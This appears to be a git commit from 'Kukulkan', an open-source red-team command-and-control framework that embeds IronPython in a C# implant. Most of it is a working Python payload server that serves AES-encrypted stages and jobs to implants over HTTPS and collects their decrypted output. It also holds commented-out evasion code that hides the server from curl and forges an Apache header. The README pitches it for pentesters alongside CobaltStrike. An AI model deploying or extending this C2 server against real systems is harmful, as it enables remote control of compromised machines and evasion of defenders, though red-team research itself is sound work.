"sha256:895c63e93b94ac1e1690f5fdd40b65f07c8171e3e53cbd7793b5b96c0e0a7f24"
],
"version": "==0.3.1"
},
"pexpect": {
"hashes": [
"sha256:2a8e88259839571d1251d278476f3eec5db26deb73a70be5ed5dc5435e418aba",
"sha256:3fbd41d4caf27fa4a377bfd16fef87271099463e6fa73e92a52f92dfee5d425b"
],
"markers": "sys_platform != 'win32'",
"version": "==4.6.0"
},
"pickleshare": {
"hashes": [
"sha256:87683d47965c1da65cdacaf31c8441d12b8044cdec9aca500cd78fc2c683afca",
"sha256:9649af414d74d4df115d5d718f82acb59c9d418196b7b4290ed47a12ce62df56"
],
"version": "==0.7.5"
},
"prompt-toolkit": {
"hashes": [
"sha256:c1d6aff5252ab2ef391c2fe498ed8c088066f66bc64a8d5c095bbf795d9fec34",
"sha256:d4c47f79b635a0e70b84fdb97ebd9a274203706b1ee5ed44c10da62755cf3ec9",
"sha256:fd17048d8335c1e6d5ee403c3569953ba3eb8555d710bfc548faf0712666ea39"
],
"version": "==2.0.7"
},
"ptyprocess": {
"hashes": [
"sha256:923f299cc5ad920c68f2bc0bc98b75b9f838b93b599941a6b63ddbc2476394c0",
"sha256:d7cc528d76e76342423ca640335bd3633420dc1366f258cb31d05e865ef5ca1f"
],
"version": "==0.6.0"
},
"pygments": {
"hashes": [
"sha256:5ffada19f6203563680669ee7f53b64dabbeb100eb51b61996085e99c03b284a",
"sha256:e8218dd399a61674745138520d0d4cf2621d7e032439341bc3f647bff125818d"
],
"version": "==2.3.1"
},
"six": {
"hashes": [
"sha256:3350809f0555b11f552448330d0b52d5f24c91a322ea4a15ef22629740f3761c",
"sha256:d16a0141ec1a18405cd4ce8b4613101da75da0e9a7aec5bdd4fa804d0e0eba73"
],
"version": "==1.12.0"
},
"traitlets": {
"hashes": [
"sha256:9c4bd2d267b7153df9152698efb1050a5d84982d3384a37b2c1f7723ba3e7835",
"sha256:c6cb5e6f57c5a9bdaa40fa71ce7b4af30298fbab9ece9815b5d995ab6217c7d9"
],
"version": "==4.3.2"
},
"wcwidth": {
"hashes": [
"sha256:3df37372226d6e63e1b1e1eda15c594bca98a22d33a23832a90998faa96bc65e",
"sha256:f4ebe71925af7b40a864553f761ed559b43544f8f71746c2d756c7fe788ade7c"
],
"version": "==0.1.7"
}
}
}
+21
View File
@@ -0,0 +1,21 @@
# Kukulkan Payload Server
```bash
usage: server.py [-h] [-d] <bindip> <port> [--password PASSWORD]
arguments:
bindip port to bind to
port port to bind to
options:
-h, --help show this screen
-d, --debug show debug output
-p, --password PASSWORD stage and job zip file password [default: kukulkan]
```
## Example
```bash
python server.py -d 172.16.164.1 8080
```
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+3
View File
@@ -0,0 +1,3 @@
*
!.gitignore
!example.py
+1
View File
@@ -0,0 +1 @@
print '\n\n Hello from IPY! \n\n'
+213
View File
@@ -0,0 +1,213 @@
"""
usage: server.py [-h] [-d] <bindip> <port> [--password PASSWORD]
arguments:
bindip port to bind to
port port to bind to
options:
-h, --help show this screen
-d, --debug show debug output
-p, --password PASSWORD stage and job zip file password [default: kukulkan]
"""
import ssl
import asyncio
import logging
import os
import sys
import datetime
from docopt import docopt
from zipfile import ZipFile, ZIP_DEFLATED
from secrets import token_bytes
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization, hashes, padding
from cryptography.hazmat.primitives.asymmetric import rsa
from quart import Quart, Blueprint, request, jsonify, Response
from quart.logging import default_handler, serving_handler
AES_IV = token_bytes(16)
def encrypt_file(infile, aes_key, outfile):
sha256 = hashes.Hash(hashes.SHA256(), backend=default_backend())
sha256.update(aes_key.encode())
derived_key = sha256.finalize()
logging.debug(f"SHA256_KEY: {derived_key.hex()}")
aes = Cipher(algorithms.AES(derived_key), modes.CBC(AES_IV), backend=default_backend())
encryptor = aes.encryptor()
padder = padding.PKCS7(128).padder()
with open(infile, 'rb') as file_to_encrypt:
with open(outfile, 'wb') as encrypted_file:
padded_data = padder.update(file_to_encrypt.read()) + padder.finalize()
encrypted_file.write(encryptor.update(padded_data) + encryptor.finalize())
def decrypt(encrypted_data, aes_key):
sha256 = hashes.Hash(hashes.SHA256(), backend=default_backend())
sha256.update(aes_key.encode())
derived_key = sha256.finalize()
aes = Cipher(algorithms.AES(derived_key), modes.CBC(AES_IV), backend=default_backend())
decryptor = aes.decryptor()
decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()
unpadder = padding.PKCS7(128).unpadder()
return unpadder.update(decrypted_data) + unpadder.finalize()
async def unknown_path(path):
self.app.logger.error(f"Unknown path: {path}")
return jsonify({}), 404
async def check_if_naughty():
try:
headers = request.headers['User-Agent'].lower()
if 'curl' in headers or 'httpie' in headers:
return jsonify({}), 404
except KeyError:
pass
async def make_normal(response):
#response.headers["server"] = "Apache/2.4.35"
return response
async def job_result():
data = await request.data
decrypted_result = decrypt(data, args['--password'])
logging.info(decrypted_result.decode().strip('\r\n'))
return '', 200
async def job():
logging.info('Compressing and encrypting job')
with ZipFile('./data/job.zip', 'w', compression=ZIP_DEFLATED, compresslevel=9) as zip_file:
zip_file.write('./jobs/main.py', arcname='./main.py')
encrypt_file('./data/job.zip', args['--password'], './data/job.blob')
logging.info(f"Sending job ({os.path.getsize('./data/job.blob')} bytes) -> {request.remote_addr} ...")
with open('./data/job.blob', 'rb') as job_zip:
return Response(job_zip.read(), content_type='application/octet-stream')
async def stage():
logging.info(f"Sending stage ({os.path.getsize('./data/stage.blob')} bytes) -> {request.remote_addr} ...")
with open('./data/stage.blob', 'rb') as stage_zip:
return Response(stage_zip.read(), content_type='application/octet-stream')
if __name__ == "__main__":
args = docopt(__doc__)
logging.basicConfig(
format="%(asctime)s %(process)d %(threadName)s - [%(levelname)s] %(filename)s: %(funcName)s - %(message)s",
level=logging.DEBUG if args['--debug'] else logging.INFO
)
logging.debug(args)
# https://cryptography.io/en/latest/x509/tutorial/#creating-a-self-signed-certificate
if not os.path.exists('./data/cert.pem') or not os.path.exists('./data/key.pem'):
logging.info('Creating self-signed certificate')
key = rsa.generate_private_key(
public_exponent=65537,
key_size=4096,
backend=default_backend()
)
with open("./data/key.pem", "wb") as f:
f.write(key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption(),
))
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COUNTRY_NAME, u"US"),
x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, u"CA"),
x509.NameAttribute(NameOID.LOCALITY_NAME, u"San Francisco"),
x509.NameAttribute(NameOID.ORGANIZATION_NAME, u"My Company"),
x509.NameAttribute(NameOID.COMMON_NAME, u"mysite.com"),
])
cert = x509.CertificateBuilder().subject_name(
subject
).issuer_name(
issuer
).public_key(
key.public_key()
).serial_number(
x509.random_serial_number()
).not_valid_before(
datetime.datetime.utcnow()
).not_valid_after(
# Our certificate will be valid for 9999 days
datetime.datetime.utcnow() + datetime.timedelta(days=9999)
).add_extension(
x509.SubjectAlternativeName([x509.DNSName(u"localhost")]),
critical=False,
# Sign our certificate with our private key
).sign(key, hashes.SHA256(), default_backend())
with open("./data/cert.pem", "wb") as f:
f.write(cert.public_bytes(serialization.Encoding.PEM))
logging.info('Self-signed certificate written to ./data/key.pem and ./data/cert.pem')
'''
ssl_context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
ssl_context.options |= ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1 | ssl.OP_NO_COMPRESSION
ssl_context.set_ciphers('ECHDE+AESGCM:ECDH+AES')
ssl_context.load_cert_chain(certfile='./data/cert.pem', keyfile='./data/key.pem')
ssl_context.set_alpn_protocols(['http/1.1', 'h2']) # accept http1 and http2 connections
'''
#loop = asyncio.get_event_loop()
http_blueprint = Blueprint(__name__, 'http')
#http_blueprint.before_request(check_if_naughty)
#http_blueprint.after_request(make_normal)
http_blueprint.add_url_rule('/stage.zip', 'stage', stage, methods=['GET'])
http_blueprint.add_url_rule('/job.zip', 'job', job, methods=['GET'])
http_blueprint.add_url_rule('/job', 'job_result', job_result, methods=['POST'])
# Add a catch all route
http_blueprint.add_url_rule('/', 'unknown_path', unknown_path, defaults={'path': ''})
http_blueprint.add_url_rule('/<path:path>', 'unknown_path', unknown_path, methods=['GET', 'POST'])
app = Quart(__name__)
for logger in ['quart.app', 'quart.serving']:
logging.getLogger(logger).setLevel(logging.DEBUG if args['--debug'] else logging.ERROR)
logging.info('Creating encrypted stage')
logging.warning(f"key: {args['--password']} IV: {AES_IV.hex()}")
with ZipFile('./data/stage.zip', 'w', compression=ZIP_DEFLATED, compresslevel=9) as zip_file:
for f in [f for f in os.listdir('./data/') if f.endswith('.dll')]:
zip_file.write(os.path.join('./data', f), arcname=f'./{f}')
encrypt_file('./data/stage.zip', args['--password'], './data/stage.blob')
app.register_blueprint(http_blueprint)
app.run(
host=args['<bindip>'],
port=args['<port>'],
debug=False,
certfile='./data/cert.pem',
keyfile='./data/key.pem',
#ssl=ssl_context,
use_reloader=False,
access_log_format='%(h)s %(p)s - - %(t)s statusline: "%(r)s" statuscode: %(s)s responselen: %(b)s protocol: %(H)s'
)
+31
View File
@@ -0,0 +1,31 @@
# Kukulkan
<p align="center">
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/d/d9/YaxchilanDivineSerpent.jpg/170px-YaxchilanDivineSerpent.jpg" alt="Kukulkan"/>
</p>
## Description
This is basically a slimmed down version of [SILENTTRINITY](https://github.com/byt3bl33d3r/SILENTTRINITY).
Kukulkan provides a C# DLL & EXE that embeds an IronPython engine allowing you to run IronPython scripts natively on Windows 10.
The Payload Server is used for C2: it hosts the needed assemblies, 'jobs' & handles output.
C2 Comms are performed over HTTPS (server also supports HTTP2), everything is encrypted using AES-256, including the initial stage :).
The reasoning behind making this is to provide researches/red-teamers/pentesters a way of experimenting with the idea without having all the overhead of installing [SILENTTRINITY](https://github.com/byt3bl33d3r/SILENTTRINITY) which is not yet stable.
Additionally this is (i think?) 100% opsec safe, since the project provides .NET assemblies this can be used with other C2 platforms such as CobaltStrike.
## Usage:
```Usage: Kukulkan.exe <key> <IV> <URL>```
The ```Key``` & ```IV``` arguments are provided to you when you start the Payload Server
## Disclaimer
I am by no means a crypto guru, if I implemented something wrong in the comms feel free to yell at me on Twitter or open an issue ticket (better yet a PR!).